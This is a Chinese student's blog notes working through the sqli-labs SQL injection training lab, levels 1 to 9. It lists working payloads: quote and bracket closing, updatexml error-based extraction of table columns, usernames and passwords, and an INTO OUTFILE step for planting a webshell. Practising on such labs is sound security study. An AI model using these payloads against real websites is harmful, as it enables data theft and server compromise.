sqli-labs初学习

sqli-labs

碎碎念:我记得我之前是写了一章博客的,原来的几个考核wp和前两个less,为什么不见了,算了,那就从头开始吧。初学者,只能看自己的理解走头开始走了。(2019.4.19)
周末在打比赛,我的状态很差,在宿舍也几乎没有学习,现在回来一些状态,今天多学一点吧。(2019.4.22)

Less-1

最初学,我们先要弄懂,为什么会有注入的存在。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这句话是从Less-1 index.php里面截下来的上传语句。为什么会发生注入,就是在提交id的信息的时候,我们是提交的信息,想id=1时,就把1提交到了id='$id'中的&id里面,此时假设,id=‘& 。。使双引号闭合,然后就会继续执行。。这个语句。注入就从此开始。

当然语句不只有一种,我们要学会用不同的方法来找到上传语句,然后去改变其中的代码,然后注入我们想做的代码,这就是sql注入。

回归正题。

less-1
最开始我们都实验:
?id=1
我们需要传一个值进去然后看下一步
回显

Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb

emmm我觉得先别管,那我们就检测,这是什么提交,有些东西是正常提交,也就是可以直接注入,但是有一些,会讲提交的id转换为字符串类型,所以我们试一下
?id=2-1
回显

Welcome Dhakkan
Your Login name:Angelina
Your Password:I-kill-you

明显和第一个不一样,我们可以判断这个不是普通的数字形式了(该怎么表达?)

那就开始注入,看到我们最开始给的那个sql语句,是最基本的提交语句,所以我们要实验注入
会怎么样。

输入?id=1'
回显

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

最初我是搞不懂这个是什么意思的,这样我再把id提交的东西变一下,看看有什么不一样。

输入?id=4'
回显

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘4’’ LIMIT 0,1’ at line 1

这时我们就可以知道,上面语句中的双引号之中是我们提交的id值,那我们看之后。

LIMIT 0,1'

我最开始也是不知道是什么意思的,搜索一下

limit 0,1, 从你的表中的第0个数据开始,只读取一个;

也就是一串代码,我们可以发现在这个代码后面,还有一个'。这就可以确定了,我们最初的语句是

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
用来括起来&id的是在limit 0 ,1后面的'

在此我们就找到了sql语句是什么,然后可以开始注入了。

Less-2

刚刚去找了下less-6,发现自己的less-5和一些基本知识没过关,就回来补一下前面的知识吧。

这次明白一些了,直接上手',构造?id=',看回显

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

然后找他的注入,我们一个个尝试id=1,2,3,4

发现1和2的回显是一样的,3和4是不同的,那我们接下来构造,3和4-1,发现回显是一样的,因为可以计算,我们推断这个的使用查询用了数字查询。

再看order by 查出也是3列

(遇到一个问题,我发现注释的过程中,要使union前面为假?

待我去问问子琳姐。)

之后就构造注释语句了,使用id=-1 or 1=-1

再像less-1一样爆数据库之类的就ok了

Less-3

老规矩,上来先?id='

看回显重要部分

use near '''') LIMIT 0,1' at line 1

我们注意到是括号,就猜应该是括号括起来的。

尝试?id=1')
回显use near '') LIMIT 0,1' at line 1
确定是单括号形式
输入?id=1')--+
注入成功

Less-4

?id='

无回显

?id=1'

返回正常
注入?id=1"
返回use near '"1"") LIMIT 0,1' at line 1
好的,把其中配对的单引号双引号消掉,我们发现就只剩下一个双引号和一个括号
那就把括号和双引号给闭合就可以了
就可以注入了

?id=1")--+

回显正常,开始注入

前4节是差不多的,我们接下来进入less-5

——————————————————————————————————————————
——————————————————————————————————————————

Less-5

尝试?id=1,?id=2之类,发现返回是”you are in。。。“
尝试?id='发现回显use near ‘’’’ LIMIT 0,1’ at line 1
尝试?id="发现无回显
配对单引号,发现多了一个’,
那就构造?id=1',加–+发现还是”you are in。。“说明构造正确,那就挂函数
重复几次发现挂查询数据库函数无效,那就找办法,用腾哥的函数

and updatexml(1,concat(0x7e,(database()),0x7e),1)–+

我们查询其中几个关键字

updatexml函数:

updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
原文:https://blog.csdn.net/vspiders/article/details/77430024

concat函数

concat()函数
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

这里在腾哥的博客里面大概意思就是把数据库名显示出来。
但是中间有两个~
查了很久0x7e是16进制转字符串的~,这里具体是为什么会这样还是有点不懂。

爆字段
?id=2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

回显XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'

这与updatexml长度限制有关,最长为32位
并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效

这句话没懂,记得问。

用limit限制

?id=2' and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+

回显user
参考天书,这里是盲注的部分了
把新学习的函数加到另外一个博客。

爆username和password

?id=2' and updatexml(1,concat(0x7e,(select concat(username,'1',password) from users limit 0,1),0x7e),1)--+

Less-6

试不同的几个发现是双引号,然后同上

Less-7

尝试?id=1
发现回显

You are in.... Use outfile......

应该有所不同了
用文件注入,好的去看天书。

?id=‘
回显You have an error in your SQL syntax
告诉你语法错误但不说是哪里错了
前面的函数用,还是错误。尝试无果。

这里重复看过天书以后,是这样理解的,在文件的目录中注入一个文件,然后再注入一句话木马,用菜刀或者蚁剑这种软件连接之后就可以直接看文件源码了。

http://localhost//Less-7/?id=1’))UNION SELECT 1,2,’’ into outfile “d:\xampp1\htdocs\sqli-labs-master\Less-7\index.php”–+

这里写了一部分忘记发出去了,明天补回来。

文件注入要判断是否有管理员权限,这里有几个函数,根据返回的值是可以判断是否有管理员权限的。

and (select count(*) from mysql.user)>0 //如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0 //返回错误,应该是管理员给数据库帐户降权
(select count(*) from mysql.user)返回为用户个数

判断出有管理员权限就可以用into outfile语法构造注入语句
?id=-1')) union select 1,user(),database() into outfile "/...htdocs/sqli-labs/Less-7/1.php"

这时候界面会显示语法错误但是文件已经导出了。

Less-8

第八和第七差不多,都可以用文件注入的方式.

Less-9

尝试了许多分号都是You are in…

那看来应该是输入什么都是错的

我们看标题,base time。也就是基于时间,我们知道这里已经到时间注入了,那么我们继续去看背景知识。

你可能感兴趣的:(sqli-labs初学习)